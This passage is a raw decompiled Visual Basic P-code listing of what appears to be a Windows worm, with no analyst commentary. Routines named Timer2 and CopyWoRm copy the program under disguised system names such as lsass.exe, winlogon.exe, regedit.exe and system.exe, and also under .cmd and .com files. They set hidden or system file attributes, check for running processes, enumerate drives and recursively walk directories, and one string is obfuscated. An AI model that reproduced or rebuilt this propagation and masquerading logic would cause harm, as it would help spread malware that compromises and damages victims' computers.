0040fd94FLdRfVar var_1A4
0040fd97CStr2Ansi
0040fd98ILdRf var_1A4
0040fd9bLitStr "path"
0040fd9eILdRf var_98
0040fda1CStrI4
0040fda3FStStrNoPop var_9C
0040fda6ConcatStr
0040fda7FStStrNoPop var_198
0040fdaaFLdRfVar var_19C
0040fdadCStr2Ansi
0040fdaeILdRf var_19C
0040fdb1LitStr "xxx"
0040fdb4FLdRfVar var_194
0040fdb7CStr2Ansi
0040fdb8ILdRf var_194
0040fdbbImpAdCallFPR4 fn_406288, 16
0040fdc0SetLastSystemError
0040fdc1ILdRf var_1A8
0040fdc4FMemLdRf arg_8, 232
0040fdc9CStr2Uni
0040fdcbFFreeStr var_9C, var_194, var_198, var_19C, var_1A0, var_1A4, var_1A8, var_1AC
0040fddeBranch 0x40fe03
0040fde1
0040fde1loc_40fde1:
0040fde1ILdRf var_98
0040fde4FMemLdRf arg_8, 264
0040fde9Ary1LdRf
0040fdeaCVarRef 65260, 16392
0040fdefImpAdCallI2 pool#13, 4
0040fdf4FStStrNoPop var_9C
0040fdf7ILdRf var_98
0040fdfaFMemLdRf arg_8, 264
0040fdffAry1StStrCopy
0040fe00FFree1Str var_9C
0040fe03
0040fe03loc_40fe03:
0040fe03FLdRfVar var_98
0040fe06NextI4 65372, 271
0040fe0bExitProcCb 16
0040fb60

0040fe0f
0040fe0f struct PCodePad
0040fe0f 00 .
0040fe10
0040fe10 struct ProcDscInfo
0040fe10 lpObjectInfo uint32 0x403ff0
0040fe14 wArgSize int 8
0040fe16 wFrameSize int 296
0040fe18 wPCodeBackOffset uint16 0x40fb60
0040fe1a wTotalSize uint16 0x0028
0040fe1c wProcOptFlags uint16 0x0000
0040fe1e wReserved uint16 0x0000
0040fe20 wBosSkipTableOff uint16 0x0000
0040fe22 wBaseIfaceSlot uint16 0x0013
0040fe24 wReserved2 uint16 0x0000
0040fe26 wReserved3 uint16 0x0000
0040fe28
0040fe28 10 00 00 00 00 00 01 00 ........
0040fe30 00 00 00 01 6c ff 02 00 58 00 00 00 00 00 13 00 ....l...X.......
0040fe40 00 00 00 00 64 ff 01 00 6c fe 01 00 68 fe 01 00 ....d...l...h...
0040fe50 64 fe 01 00 60 fe 01 00 5c fe 01 00 58 fe 01 00 d...`...\...X...
0040fe60 54 fe 01 00 48 ff 02 00 34 ff 02 00 24 ff 02 00 T...H...4...$...
0040fe70 10 ff 02 00 00 ff 02 00 dc fe 02 00 c8 fe 02 00 ................
0040fe80 b8 fe 02 00 94 fe 02 00 80 fe 02 00 70 fe 02 00 ............p...

0040fe90
0040fe90FrmMain.Timer2#0:
0040fe90LargeBos 2
0040fe92LargeBos 5
0040fe94OnErrorGoto 65535
0040fe97LargeBos 92
0040fe99FLdRfVar var_8C
0040fe9cFLdRfVar var_88
0040fe9fImpAdLdRf pool#3
0040fea2NewIfNullPr 4
0040fea5VCallHresult 20, 5
0040feaaFLdPr var_88
0040feadVCallHresult 88, 6
0040feb2ILdRf var_8C
0040feb5LitStr ".exe"
0040feb8ConcatStr
0040feb9CVarStr var_9C
0040febcFLdRfVar var_AC
0040febfImpAdCallFPR4 rtcUpperCaseVar, 8
0040fec4FLdRfVar var_AC
0040fec7LitVarStr var_BC, "lsass.exe"
0040feccFStVarCopyObj var_CC
0040fecfFLdRfVar var_CC
0040fed2FLdRfVar var_DC
0040fed5ImpAdCallFPR4 rtcUpperCaseVar, 8
0040fedaFLdRfVar var_DC
0040feddEqVarBool
0040fedfFFree1Str var_8C
0040fee2FFree1Ad var_88
0040fee5FFreeVar var_9C, var_CC, var_AC, var_DC
0040fef0BranchF 0x40fff7
0040fef3LargeBos 74
0040fef5FLdRfVar var_9C
0040fef8ImpAdCallFPR4 rtcGetTimeVar, 4
0040fefdLitI4 1
0040ff02LitI4 1
0040ff07LitVarStr var_BC, "nn"
0040ff0cFStVarCopyObj var_AC
0040ff0fFLdRfVar var_AC
0040ff12FLdRfVar var_9C
0040ff15FLdRfVar var_CC
0040ff18ImpAdCallFPR4 rtcVarFromFormatVar, 20
0040ff1dFLdRfVar var_CC
0040ff20LitVarI2 65284, 5
0040ff25ModVar 65316
0040ff29LitVarI2 65268, 0
0040ff2eHardType
0040ff2fEqVarBool
0040ff31FFreeVar var_9C, var_AC, var_CC
0040ff3aBranchF 0x40ffe9
0040ff3dLargeBos 14
0040ff3fFLdPr arg_8
0040ff42MemLdI2 80
0040ff45LitI2_Byte -1
0040ff47EqI2
0040ff48BranchF 0x40ffe4
0040ff4bLargeBos 10
0040ff4dLitI2_Byte 0
0040ff4fFLdPr arg_8
0040ff52MemStI2 80
0040ff55LargeBos 13
0040ff57FLdRfVar var_9C
0040ff5aThisVCallHresult 1796, 25
0040ff5fFFree1Var var_9C
0040ff62LargeBos 7
0040ff64ThisVCallHresult 1792, 25
0040ff69LargeBos 11
0040ff6bLitVarI2 65348, 65
0040ff70FStVar 65252
0040ff74LargeBos 21
0040ff76LitVarI2 65268, 65
0040ff7bFLdRfVar var_11C
0040ff7eLitVarI2 65284, 66
0040ff83ForVar 65220, 340
0040ff89LargeBos 80
0040ff8bFLdRfVar var_11C
0040ff8eCI4Var
0040ff90FLdRfVar var_9C
0040ff93ImpAdCallFPR4 rtcVarBstrFromAnsi, 8
0040ff98LitStr "*.*"
0040ff9bFStStrCopy var_148
0040ff9eFLdRfVar var_148
0040ffa1LitI2_Byte 0
0040ffa3PopTmpLdAd2 65212
0040ffa6LitI2_Byte 0
0040ffa8PopTmpLdAd2 65214
0040ffabLitI2_Byte -1
0040ffadPopTmpLdAd2 65216
0040ffb0LitI2_Byte -1
0040ffb2PopTmpLdAd2 65218
0040ffb5FLdRfVar var_9C
0040ffb8LitVarStr var_BC, ":\\"
0040ffbdConcatVar var_AC
0040ffc1CStrVarTmp
0040ffc2PopTmpLdAdStr 65396
0040ffc6ImpAdCallFPR4 pool#171, 24
0040ffcbFFreeStr var_8C, var_148
0040ffd2FFreeVar var_9C, var_AC
0040ffd9LargeBos 11
0040ffdbFLdRfVar var_11C
0040ffdeNextStepVar 65220, 249
0040ffe4
0040ffe4loc_40ffe4:
0040ffe4LargeBos 2
0040ffe6Branch 0x40fff5
0040ffe9
0040ffe9loc_40ffe9:
0040ffe9LargeBos 2
0040ffebLargeBos 10
0040ffedLitI2_Byte -1
0040ffefFLdPr arg_8
0040fff2MemStI2 80
0040fff5
0040fff5loc_40fff5:
0040fff5LargeBos 2
0040fff7
0040fff7loc_40fff7:
0040fff7LargeBos 2
0040fff9LargeBos 92
0040fffbFLdRfVar var_8C
0040fffeFLdRfVar var_88
00410001ImpAdLdRf pool#3
00410004NewIfNullPr 4
00410007VCallHresult 20, 5
0041000cFLdPr var_88
0041000fVCallHresult 88, 6
00410014ILdRf var_8C
00410017LitStr ".exe"
0041001aConcatStr
0041001bCVarStr var_9C
0041001eFLdRfVar var_AC
00410021ImpAdCallFPR4 rtcUpperCaseVar, 8
00410026FLdRfVar var_AC
00410029LitVarStr var_BC, "service.exe"
0041002eFStVarCopyObj var_CC
00410031FLdRfVar var_CC
00410034FLdRfVar var_DC
00410037ImpAdCallFPR4 rtcUpperCaseVar, 8
0041003cFLdRfVar var_DC
0041003fEqVarBool
00410041FFree1Str var_8C
00410044FFree1Ad var_88
00410047FFreeVar var_9C, var_CC, var_AC, var_DC
00410052BranchF 0x410111
00410055LargeBos 132
00410057FLdRfVar var_9C
0041005aImpAdCallFPR4 rtcGetTimeVar, 4
0041005fFLdRfVar var_EC
00410062ImpAdCallFPR4 rtcGetTimeVar, 4
00410067LitI4 1
0041006cLitI4 1
00410071LitVarStr var_BC, "HH"
00410076FStVarCopyObj var_AC
00410079FLdRfVar var_AC
0041007cFLdRfVar var_9C
0041007fFLdRfVar var_CC
00410082ImpAdCallFPR4 rtcVarFromFormatVar, 20
00410087FLdRfVar var_CC
0041008aLitVarI2 65284, 10
0041008fHardType
00410090EqVar 65316
00410094LitI4 1
00410099LitI4 1
0041009eLitVarStr var_10C, "HH"
004100a3FStVarCopyObj var_158
004100a6FLdRfVar var_158
004100a9FLdRfVar var_EC
004100acFLdRfVar var_168
004100afImpAdCallFPR4 rtcVarFromFormatVar, 20
004100b4FLdRfVar var_168
004100b7LitVarI2 65160, 22
004100bcHardType
004100bdEqVar 65144
004100c1OrVar 65128
004100c5CBoolVarNull
004100c7FFreeVar var_9C, var_AC, var_CC, var_EC, var_158, var_168
004100d6BranchF 0x410103
004100d9LargeBos 14
004100dbFLdPr arg_8
004100deMemLdI2 82
004100e1LitI2_Byte -1
004100e3EqI2
004100e4BranchF 0x4100fe
004100e7LargeBos 10
004100e9LitI2_Byte 0
004100ebFLdPr arg_8
004100eeMemStI2 82
004100f1LargeBos 13
004100f3FLdRfVar var_9C
004100f6ImpAdCallFPR4 pool#185, 4
004100fbFFree1Var var_9C
004100fe
004100feloc_4100fe:
004100feLargeBos 2
00410100Branch 0x41010f
00410103
00410103loc_410103:
00410103LargeBos 2
00410105LargeBos 10
00410107LitI2_Byte -1
00410109FLdPr arg_8
0041010cMemStI2 82
0041010f
0041010floc_41010f:
0041010fLargeBos 2
00410111
00410111loc_410111:
00410111LargeBos 2
00410113LargeBos 87
00410115FLdRfVar var_8C
00410118FLdRfVar var_88
0041011bImpAdLdRf pool#3
0041011eNewIfNullPr 4
00410121VCallHresult 20, 5
00410126FLdPr var_88
00410129VCallHresult 88, 6
0041012eILdRf var_8C
00410131LitStr ".exe"
00410134ConcatStr
00410135CVarStr var_9C
00410138FLdRfVar var_AC
0041013bImpAdCallFPR4 rtcUpperCaseVar, 8
00410140FLdRfVar var_AC
00410143ImpAdLdRf pool#22
00410146CVarRef 65348, 16392
0041014bFLdRfVar var_CC
0041014eImpAdCallFPR4 rtcUpperCaseVar, 8
00410153FLdRfVar var_CC
00410156EqVarBool
00410158FFree1Str var_8C
0041015bFFree1Ad var_88
0041015eFFreeVar var_9C, var_AC, var_CC
00410167BranchF 0x410177
0041016aLargeBos 13
0041016cFLdRfVar var_9C
0041016fThisVCallHresult 1800, 25
00410174FFree1Var var_9C
00410177
00410177loc_410177:
00410177LargeBos 2
00410179LargeBos 0
0041017bExitProcHresult
0040fe90

0041017c
0041017c struct ProcDscInfo
0041017c lpObjectInfo uint32 0x405168
00410180 wArgSize int 4
00410182 wFrameSize int 276
00410184 wPCodeBackOffset uint16 0x40fe90
00410186 wTotalSize uint16 0x0030
00410188 wProcOptFlags uint16 0x0000
0041018a wReserved uint16 0x0000
0041018c wBosSkipTableOff uint16 0x0000
0041018e wBaseIfaceSlot uint16 0x0013
00410190 wReserved2 uint16 0x0000
00410192 wReserved3 uint16 0x0000
00410194
00410194 18 00 00 00 00 00 03 00 00 00 00 00 ............
004101a0 d4 fe 02 00 c4 fe 02 00 e4 fe 02 00 3c 00 00 00 ............<...
004101b0 00 00 0c 00 00 00 00 00 74 ff 01 00 b8 fe 01 00 ........t.......
004101c0 78 ff 03 00 64 ff 02 00 54 ff 02 00 34 ff 02 00 x...d...T...4...
004101d0 24 ff 02 00 14 ff 02 00 a8 fe 02 00 98 fe 02 00 $...............
004101e0 78 fe 02 00 68 fe 02 00 x...h...

004101e8
004101e8FrmMain.CopyWoRm:
004101e8LargeBos 2
004101eaLargeBos 5
004101ecOnErrorGoto 65535
004101efLargeBos 55
004101f1ImpAdLdRf pool#12
004101f4LitVarStr var_B4, "\\cypreg.dll"
004101f9ConcatVar var_C4
004101fdCStrVarTmp
004101fePopTmpLdAdStr 65332
00410202ImpAdLdRf pool#12
00410205LitVarStr var_94, "\\regedit.exe"
0041020aConcatVar var_A4
0041020eCStrVarTmp
0041020fPopTmpLdAdStr 65336
00410213ImpAdCallFPR4 pool#63, 8
00410218FFreeStr var_C8, var_CC
0041021fFFreeVar var_A4, var_C4
00410226LargeBos 33
00410228ImpAdLdRf pool#56
0041022bLitVarStr var_94, "\\winlogon.exe"
00410230ConcatVar var_A4
00410234CStrVarTmp
00410235PopTmpLdAdStr 65336
00410239ImpAdLdRf pool#59
0041023cImpAdCallFPR4 pool#63, 8
00410241FFree1Str var_C8
00410244FFree1Var var_A4
00410247LargeBos 33
00410249ImpAdLdRf pool#56
0041024cLitVarStr var_94, "\\system.exe"
00410251ConcatVar var_A4
00410255CStrVarTmp
00410256PopTmpLdAdStr 65336
0041025aImpAdLdRf pool#59
0041025dImpAdCallFPR4 pool#63, 8
00410262FFree1Str var_C8
00410265FFree1Var var_A4
00410268LargeBos 33
0041026aImpAdLdRf pool#12
0041026dLitVarStr var_94, "\\lsass.exe"
00410272ConcatVar var_A4
00410276CStrVarTmp
00410277PopTmpLdAdStr 65336
0041027bImpAdLdRf pool#59
0041027eImpAdCallFPR4 pool#63, 8
00410283FFree1Str var_C8
00410286FFree1Var var_A4
00410289LargeBos 53
0041028bImpAdLdRf pool#56
0041028eLitVarStr var_94, "U{lnlm`}'jdm"
00410293FStVarCopyObj var_A4
00410296FLdRfVar var_A4
00410299ImpAdCallI2 pool#40, 4
0041029eCVarStr var_C4
004102a1ConcatVar var_DC
004102a5CStrVarTmp
004102a6PopTmpLdAdStr 65336
004102aaImpAdLdRf pool#59
004102adImpAdCallFPR4 pool#63, 8
004102b2FFree1Str var_C8
004102b5FFreeVar var_A4, var_C4, var_DC
004102beLargeBos 13
004102c0ImpAdLdRf pool#61
004102c3ImpAdLdRf pool#59
004102c6ImpAdCallFPR4 pool#63, 8
004102cbLargeBos 64
004102cdImpAdLdRf pool#54
004102d0LitVarStr var_94, "\\"
004102d5ConcatVar var_A4
004102d9LitI4 4
004102deImpAdLdRf pool#53
004102e1Ary1LdI4
004102e2CVarStr var_B4
004102e5ConcatVar var_C4
004102e9LitVarStr var_EC, ".cmd"
004102eeConcatVar var_DC
004102f2CStrVarTmp
004102f3PopTmpLdAdStr 65336
004102f7ImpAdLdRf pool#59
004102faImpAdCallFPR4 pool#63, 8
004102ffFFree1Str var_C8
00410302FFreeVar var_A4, var_C4, var_DC
0041030bLargeBos 64
0041030dImpAdLdRf pool#12
00410310LitVarStr var_94, "\\"
00410315ConcatVar var_A4
00410319LitI4 5
0041031eImpAdLdRf pool#53
00410321Ary1LdI4
00410322CVarStr var_B4
00410325ConcatVar var_C4
00410329LitVarStr var_EC, ".exe"
0041032eConcatVar var_DC
00410332CStrVarTmp
00410333PopTmpLdAdStr 65336
00410337ImpAdLdRf pool#59
0041033aImpAdCallFPR4 pool#63, 8
0041033fFFree1Str var_C8
00410342FFreeVar var_A4, var_C4, var_DC
0041034bLargeBos 64
0041034dImpAdLdRf pool#12
00410350LitVarStr var_94, "\\"
00410355ConcatVar var_A4
00410359LitI4 6
0041035eImpAdLdRf pool#53
00410361Ary1LdI4
00410362CVarStr var_B4
00410365ConcatVar var_C4
00410369LitVarStr var_EC, ".exe"
0041036eConcatVar var_DC
00410372CStrVarTmp
00410373PopTmpLdAdStr 65336
00410377ImpAdLdRf pool#59
0041037aImpAdCallFPR4 pool#63, 8
0041037fFFree1Str var_C8
00410382FFreeVar var_A4, var_C4, var_DC
0041038bLargeBos 64
0041038dImpAdLdRf pool#56
00410390LitVarStr var_94, "\\"
00410395ConcatVar var_A4
00410399LitI4 7
0041039eImpAdLdRf pool#53
004103a1Ary1LdI4
004103a2CVarStr var_B4
004103a5ConcatVar var_C4
004103a9LitVarStr var_EC, ".com"
004103aeConcatVar var_DC
004103b2CStrVarTmp
004103b3PopTmpLdAdStr 65336
004103b7ImpAdLdRf pool#59
004103baImpAdCallFPR4 pool#63, 8
004103bfFFree1Str var_C8
004103c2FFreeVar var_A4, var_C4, var_DC
004103cbLargeBos 65
004103cdImpAdLdI4 pool#14
004103d0LitStr "\\"
004103d3ConcatStr
004103d4FStStrNoPop var_C8
004103d7LitI4 4
004103dcImpAdLdRf pool#53
004103dfAry1LdI4
004103e0ConcatStr
004103e1FStStrNoPop var_CC
004103e4LitI4 6
004103e9ImpAdLdRf pool#53
004103ecAry1LdI4
004103edConcatStr
004103eeFStStrNoPop var_F0
004103f1LitStr ".exe"
004103f4ConcatStr
004103f5PopTmpLdAdStr 65292
004103f9ImpAdLdRf pool#59
004103fcImpAdCallFPR4 pool#63, 8
00410401FFreeStr var_C8, var_CC, var_F0, var_F4
0041040cLargeBos 64
0041040eImpAdLdRf pool#56
00410411LitVarStr var_94, "\\"
00410416ConcatVar var_A4
0041041aLitI4 2
0041041fImpAdLdRf pool#53
00410422Ary1LdI4
00410423CVarStr var_B4
00410426ConcatVar var_C4
0041042aLitVarStr var_EC, ".exe"
0041042fConcatVar var_DC
00410433CStrVarTmp
00410434PopTmpLdAdStr 65336
00410438ImpAdLdRf pool#59
0041043bImpAdCallFPR4 pool#63, 8
00410440FFree1Str var_C8
00410443FFreeVar var_A4, var_C4, var_DC
0041044cLargeBos 50
0041044eImpAdLdI4 pool#14
00410451LitStr "\\"
00410454ConcatStr
00410455FStStrNoPop var_C8
00410458LitI4 8
0041045dImpAdLdRf pool#53
00410460Ary1LdI4
00410461ConcatStr
00410462FStStrNoPop var_CC
00410465LitStr ".exe"
00410468ConcatStr
00410469PopTmpLdAdStr 65296
0041046dImpAdLdRf pool#59
00410470ImpAdCallFPR4 pool#63, 8
00410475FFreeStr var_C8, var_CC, var_F0
0041047eLargeBos 51
00410480LitI4 6
00410485ImpAdLdI4 pool#14
00410488LitStr "\\"
0041048bConcatStr
0041048cFStStrNoPop var_C8
0041048fLitI4 8
00410494ImpAdLdRf pool#53
00410497Ary1LdI4
00410498ConcatStr
00410499FStStrNoPop var_CC
0041049cLitStr ".exe"
0041049fConcatStr
004104a0FStStrNoPop var_F0
004104a3ImpAdCallFPR4 rtcSetFileAttr, 8
004104a8FFreeStr var_C8, var_CC, var_F0
004104b1LargeBos 65
004104b3LitI4 6
004104b8ImpAdLdRf pool#12
004104bbLitVarStr var_94, "\\"
004104c0ConcatVar var_A4
004104c4LitI4 6
004104c9ImpAdLdRf pool#53
004104ccAry1LdI4
004104cdCVarStr var_B4
004104d0ConcatVar var_C4
004104d4LitVarStr var_EC, ".exe"
004104d9ConcatVar var_DC
004104ddCStrVarVal 65336
004104e1ImpAdCallFPR4 rtcSetFileAttr, 8
004104e6FFree1Str var_C8
004104e9FFreeVar var_A4, var_C4, var_DC
004104f2LargeBos 65
004104f4LitI4 6
004104f9ImpAdLdRf pool#56
004104fcLitVarStr var_94, "\\"
00410501ConcatVar var_A4
00410505LitI4 7
0041050aImpAdLdRf pool#53
0041050dAry1LdI4
0041050eCVarStr var_B4
00410511ConcatVar var_C4
00410515LitVarStr var_EC, ".com"
0041051aConcatVar var_DC
0041051eCStrVarVal 65336
00410522ImpAdCallFPR4 rtcSetFileAttr, 8
00410527FFree1Str var_C8
0041052aFFreeVar var_A4, var_C4, var_DC
00410533LargeBos 66
00410535LitI4 6
0041053aImpAdLdI4 pool#14
0041053dLitStr "\\"
00410540ConcatStr
00410541FStStrNoPop var_C8
00410544LitI4 4
00410549ImpAdLdRf pool#53
0041054cAry1LdI4
0041054dConcatStr
0041054eFStStrNoPop var_CC
00410551LitI4 6
00410556ImpAdLdRf pool#53
00410559Ary1LdI4
0041055aConcatStr
0041055bFStStrNoPop var_F0
0041055eLitStr ".exe"
00410561ConcatStr
00410562FStStrNoPop var_F4
00410565ImpAdCallFPR4 rtcSetFileAttr, 8
0041056aFFreeStr var_C8, var_CC, var_F0, var_F4
00410575LargeBos 65
00410577LitI4 6
0041057cImpAdLdRf pool#12
0041057fLitVarStr var_94, "\\"
00410584ConcatVar var_A4
00410588LitI4 5
0041058dImpAdLdRf pool#53
00410590Ary1LdI4
00410591CVarStr var_B4
00410594ConcatVar var_C4
00410598LitVarStr var_EC, ".exe"
0041059dConcatVar var_DC
004105a1CStrVarVal 65336
004105a5ImpAdCallFPR4 rtcSetFileAttr, 8
004105aaFFree1Str var_C8
004105adFFreeVar var_A4, var_C4, var_DC
004105b6LargeBos 34
004105b8LitI4 6
004105bdImpAdLdRf pool#12
004105c0LitVarStr var_94, "\\lsass.exe"
004105c5ConcatVar var_A4
004105c9CStrVarVal 65336
004105cdImpAdCallFPR4 rtcSetFileAttr, 8
004105d2FFree1Str var_C8
004105d5FFree1Var var_A4
004105d8LargeBos 0
004105daExitProcHresult
004101e8

004105db
004105db struct PCodePad
004105db 00 .
004105dc
004105dc struct ProcDscInfo
004105dc lpObjectInfo uint32 0x405168
004105e0 wArgSize int 4
004105e2 wFrameSize int 112
004105e4 wPCodeBackOffset uint16 0x4101e8
004105e6 wTotalSize uint16 0x0024
004105e8 wProcOptFlags uint16 0x0000
004105ea wReserved uint16 0x0000
004105ec wBosSkipTableOff uint16 0x0000
004105ee wBaseIfaceSlot uint16 0x0013
004105f0 wReserved2 uint16 0x0000
004105f2 wReserved3 uint16 0x0000
004105f4
004105f4 0c 00 00 00 00 00 00 00 00 00 00 00 ............
00410600 28 00 00 00 00 00 07 00 00 00 00 00 38 ff 01 00 (...........8...
00410610 34 ff 01 00 10 ff 01 00 0c ff 01 00 5c ff 02 00 4...........\...
00410620 3c ff 02 00 24 ff 02 00 <...$...

00410628
00410628fn_410628:
00410628ILdRf arg_C
0041062bCVarRef 64784, 16392
00410630ImpAdCallI2 pool#13, 4
00410635FStStr var_2DC
00410638ILdI4 arg_20
0041063bFStStrCopy var_2F4
0041063eILdI2 arg_1C
00410641FStI2 -760
00410644ILdI2 arg_14
00410647FStI2 -758
0041064aILdI2 arg_18
0041064dFStI2 -762
00410650ILdRf var_2DC
00410653ILdRf var_2F4
00410656ConcatStr
00410657FStStr var_2E0
0041065aFLdRfVar var_2D4
0041065dFLdRfVar var_440
00410660CRec2Ansi 14
00410663FLdRfVar var_440
00410666ILdRf var_2E0
00410669FLdRfVar var_300
0041066cCStr2Ansi
0041066dILdRf var_300
00410670ImpAdCallI2 fn_40685c, 8
00410675FStR4 64444
00410678SetLastSystemError
00410679FLdRfVar var_440
0041067cFLdRfVar var_2D4
0041067fCRec2Uni 14
00410682ILdRf var_300
00410685FLdRfVar var_2E0
00410688CStr2Uni
0041068aILdRf var_444
0041068dFStR4 64808
00410690FFree1Str var_300
00410693ILdRf var_2D8
00410696LitI4 0
0041069bGtI4
0041069cILdRf var_2D4
0041069fLitI4 16
004106a4AndI4
004106a5LitI4 16
004106aaNeI4
004106abAndI4
004106acBranchF 0x4106e6
004106afFLdRfVar var_2A8
004106b2LdFixedStr 260
004106b5PopTmpLdAdStr 64768
004106b9ImpAdCallI2 pool#16, 4
004106beFStStr var_448
004106c1ILdRf var_300
004106c4FLdRfVar var_2A8
004106c7StFixedStr 260
004106caFLdRfVar var_2F8
004106cdILdRf var_2DC
004106d0ILdRf var_448
004106d3ConcatStr
004106d4PopTmpLdAdStr 64436
004106d8ImpAdCallFPR4 pool#17, 8
004106ddFFreeStr var_300, var_448, var_44C
004106e6
004106e6loc_4106e6:
004106e6ILdRf var_2D8
004106e9LitI4 0
004106eeGtI4
004106efBranchF 0x410767
004106f2
004106f2loc_4106f2:
004106f2FLdRfVar var_2D4
004106f5FLdRfVar var_58C
004106f8CRec2Ansi 14
004106fbFLdRfVar var_58C
004106feILdRf var_2D8
00410701ImpAdCallI2 fn_4068a4, 8
00410706FStR4 64444
00410709SetLastSystemError
0041070aFLdRfVar var_58C
0041070dFLdRfVar var_2D4
00410710CRec2Uni 14
00410713ILdRf var_444
00410716CBoolI4
00410718BranchF 0x410767
0041071bILdRf var_2D4
0041071eLitI4 16
00410723AndI4
00410724LitI4 16
00410729NeI4
0041072aBranchF 0x410764
0041072dFLdRfVar var_2A8
00410730LdFixedStr 260
00410733PopTmpLdAdStr 64768
00410737ImpAdCallI2 pool#16, 4
0041073cFStStr var_448
0041073fILdRf var_300
00410742FLdRfVar var_2A8
00410745StFixedStr 260
00410748FLdRfVar var_2F8
0041074bILdRf var_2DC
0041074eILdRf var_448
00410751ConcatStr
00410752PopTmpLdAdStr 64436
00410756ImpAdCallFPR4 pool#17, 8
0041075bFFreeStr var_300, var_448, var_44C
00410764
00410764loc_410764:
00410764Branch 0x4106f2
00410767
00410767loc_410767:
00410767ILdI2 arg_10
0041076aBranchF 0x4109f3
0041076dFLdRfVar var_2D4
00410770FLdRfVar var_6CC
00410773CRec2Ansi 14
00410776FLdRfVar var_6CC
00410779ILdRf var_2DC
0041077cLitStr "*.*"
0041077fConcatStr
00410780FStStrNoPop var_300
00410783FLdRfVar var_448
00410786CStr2Ansi
00410787ILdRf var_448
0041078aImpAdCallI2 fn_40685c, 8
0041078fFStR4 64444
00410792SetLastSystemError
00410793FLdRfVar var_6CC
00410796FLdRfVar var_2D4
00410799CRec2Uni 14
0041079cILdRf var_444
0041079fFStR4 64808
004107a2FFreeStr var_300, var_448
004107a9ILdRf var_2D8
004107acLitI4 0
004107b1GtI4
004107b2ILdRf var_2D4
004107b5LitI4 16
004107baAndI4
004107bbLitI4 16
004107c0EqI4
004107c1AndI4
004107c2FLdRfVar var_2A8
004107c5LdFixedStr 260
004107c8PopTmpLdAdStr 64768
004107ccImpAdCallI2 pool#16, 4
004107d1FStStr var_448
004107d4ILdRf var_300
004107d7FLdRfVar var_2A8
004107daStFixedStr 260
004107ddILdRf var_448
004107e0LitStr "."
004107e3NeStr
004107e5AndI4
004107e6FLdRfVar var_2A8
004107e9LdFixedStr 260
004107ecPopTmpLdAdStr 64436
004107f0ImpAdCallI2 pool#16, 4
004107f5FStStr var_6D0
004107f8ILdRf var_44C
004107fbFLdRfVar var_2A8
004107feStFixedStr 260
00410801ILdRf var_6D0
00410804LitStr ".."
00410807NeStr
00410809AndI4
0041080aFFreeStr var_300, var_448, var_44C, var_6D0
00410815BranchF 0x4108bd
00410818FLdRfVar var_2A8
0041081bLdFixedStr 260
0041081ePopTmpLdAdStr 64768
00410822ImpAdCallI2 pool#16, 4
00410827FStStr var_448
0041082aILdRf var_300
0041082dFLdRfVar var_2A8
00410830StFixedStr 260
00410833FLdRfVar var_2A8
00410836LdFixedStr 260
00410839PopTmpLdAdStr 64436
0041083dImpAdCallI2 pool#16, 4
00410842FStStr var_6D0
00410845ILdRf var_44C
00410848FLdRfVar var_2A8
0041084bStFixedStr 260
0041084eFLdZeroAd var_6D0
00410851PopTmpLdAdStr 63784
00410855FLdRfVar var_2FA
00410858FLdRfVar var_2F6
0041085bILdRf var_2DC
0041085eILdRf var_448
00410861ConcatStr
00410862PopTmpLdAdStr 63788
00410866ImpAdCallFPR4 pool#21, 16
0041086bFFreeStr var_300, var_448, var_44C, var_6D4, var_6D8
00410878FLdRfVar var_2A8
0041087bLdFixedStr 260
0041087ePopTmpLdAdStr 64768
00410882ImpAdCallI2 pool#16, 4
00410887FStStr var_448
0041088aILdRf var_300
0041088dFLdRfVar var_2A8
00410890StFixedStr 260
00410893FLdRfVar var_2F4
00410896FLdRfVar var_2F8
00410899FLdRfVar var_2FA
0041089cFLdRfVar var_2F6
0041089fLitI2_Byte -1
004108a1PopTmpLdAd2 63782
004108a4ILdRf var_2DC
004108a7ILdRf var_448
004108aaConcatStr
004108abPopTmpLdAdStr 64436
004108afImpAdCallFPR4 pool#12, 24
004108b4FFreeStr var_300, var_448, var_44C
004108bd
004108bdloc_4108bd:
004108bdFLdRfVar var_2D4
004108c0FLdRfVar var_81C
004108c3CRec2Ansi 14
004108c6FLdRfVar var_81C
004108c9ILdRf var_2D8
004108ccImpAdCallI2 fn_4068a4, 8
004108d1FStR4 64444
004108d4SetLastSystemError
004108d5FLdRfVar var_81C
004108d8FLdRfVar var_2D4
004108dbCRec2Uni 14
004108deILdRf var_444
004108e1CBoolI4
004108e3BranchF 0x4109f3
004108e6ILdRf var_2D4
004108e9LitI4 16
004108eeAndI4
004108efLitI4 16
004108f4EqI4
004108f5FLdRfVar var_2A8
004108f8LdFixedStr 260
004108fbPopTmpLdAdStr 64768
004108ffImpAdCallI2 pool#16, 4
00410904FStStr var_448
00410907ILdRf var_300
0041090aFLdRfVar var_2A8
0041090dStFixedStr 260
00410910ILdRf var_448
00410913LitStr "."
00410916NeStr
00410918AndI4
00410919FLdRfVar var_2A8
0041091cLdFixedStr 260
0041091fPopTmpLdAdStr 64436
00410923ImpAdCallI2 pool#16, 4
00410928FStStr var_6D0
0041092bILdRf var_44C
0041092eFLdRfVar var_2A8
00410931StFixedStr 260
00410934ILdRf var_6D0
00410937LitStr ".."
0041093aNeStr
0041093cAndI4
0041093dFFreeStr var_300, var_448, var_44C, var_6D0
00410948BranchF 0x4109f0
0041094bFLdRfVar var_2A8
0041094eLdFixedStr 260
00410951PopTmpLdAdStr 64768
00410955ImpAdCallI2 pool#16, 4
0041095aFStStr var_448
0041095dILdRf var_300
00410960FLdRfVar var_2A8
00410963StFixedStr 260
00410966FLdRfVar var_2A8
00410969LdFixedStr 260
0041096cPopTmpLdAdStr 64436
00410970ImpAdCallI2 pool#16, 4
00410975FStStr var_6D0
00410978ILdRf var_44C
0041097bFLdRfVar var_2A8
0041097eStFixedStr 260
00410981FLdZeroAd var_6D0
00410984PopTmpLdAdStr 63784
00410988FLdRfVar var_2FA
0041098bFLdRfVar var_2F6
0041098eILdRf var_2DC
00410991ILdRf var_448
00410994ConcatStr
00410995PopTmpLdAdStr 63788
00410999ImpAdCallFPR4 pool#21, 16
0041099eFFreeStr var_300, var_448, var_44C, var_6D4, var_6D8
004109abFLdRfVar var_2A8
004109aeLdFixedStr 260
004109b1PopTmpLdAdStr 64768
004109b5ImpAdCallI2 pool#16, 4
004109baFStStr var_448
004109bdILdRf var_300
004109c0FLdRfVar var_2A8
004109c3StFixedStr 260
004109c6FLdRfVar var_2F4
004109c9FLdRfVar var_2F8
004109ccFLdRfVar var_2FA
004109cfFLdRfVar var_2F6
004109d2LitI2_Byte -1
004109d4PopTmpLdAd2 63782
004109d7ILdRf var_2DC
004109daILdRf var_448
004109ddConcatStr
